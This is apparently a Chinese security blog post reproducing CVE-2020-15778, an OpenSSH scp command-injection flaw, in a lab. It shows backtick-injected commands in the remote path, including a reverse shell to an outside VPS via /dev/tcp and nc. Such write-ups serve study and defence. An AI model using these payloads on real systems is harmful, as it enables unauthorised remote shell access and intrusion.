CVE-2020-15778漏洞复现

0x01 漏洞简介

SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。

OpenSSH中小于 8.3p1版本 SCP命令里存在命令注入漏洞。当将文件复制到远程服务器时,文件路径附加在本地scp命令的末尾,可以触发命令注入漏洞。

漏洞存在的点在 https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

攻击者可以采用反引号(`)文件作为命令注入执行scp命令,命令将会发送到远程服务器并执行。

作者介绍是

将文件复制到远程服务器时,文件路径会附加在本地scp命令的末尾。例如,如果执行以下命令

scp SourceFile user@host:directory/TargetFile

它将执行本地命令

scp -t directory/TargetFile

大佬的原帖https://github.com/cpandya2909/CVE-2020-15778/

0x02 影响版本

version: <=openssh-8.3p1

0x03 漏洞复现

环境

靶机kali : 192.168.100.236

利用场景:已知 ssh 密码为 root

查看当然版本和主机信息

ssh -V && ifconfig

image-20200803100433615

正常连接拷贝一下,命令学习一下

攻击机:

scp 本地文件 用户@远程IP:远程地址
scp ./config.yaml root@192.168.100.236:/root/zeo.yaml

#中途还是要身份验证,需要输入对应用户的密码

image-20200803100715320

受害机:拷贝成功

image-20200803100844527

漏洞复现

攻击机:

scp ./config.yaml root@192.168.100.236:'`touch /root/zeo_eval`/root/zeo2.yaml'

#’'`touch /root/zeo_eval`/root/zeo2.yaml' 单引号包裹全路径信息
#`touch /root/zeo_eval` 反引号包裹要执行的命令
#中途还是要身份验证,需要输入对应用户的密码

image-20200803101533314

受害机:命令执行成功

image-20200803101847532

反弹shell利用

VPS端:直接反弹加到payload里面发送,并开启nc监听

scp ./config.yaml root@192.168.100.236:'`sh -i >& /dev/tcp/110.110.110.110/6666 0>&1
`/root/zeo3.yaml'

VPS接到bash

image-20200803112141012

0x04 修复建议

  • 等待官方补丁
  • 保护好自己的密码,ssh认证

0x05 总结

这个漏洞的利用还有点问题,因为还要bypass掉身份认证这个环节,才能远程命令执行,如果过了身份验证,那就牛逼大发了。

远程命令的执行,估计还得等大牛开发利用方式。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值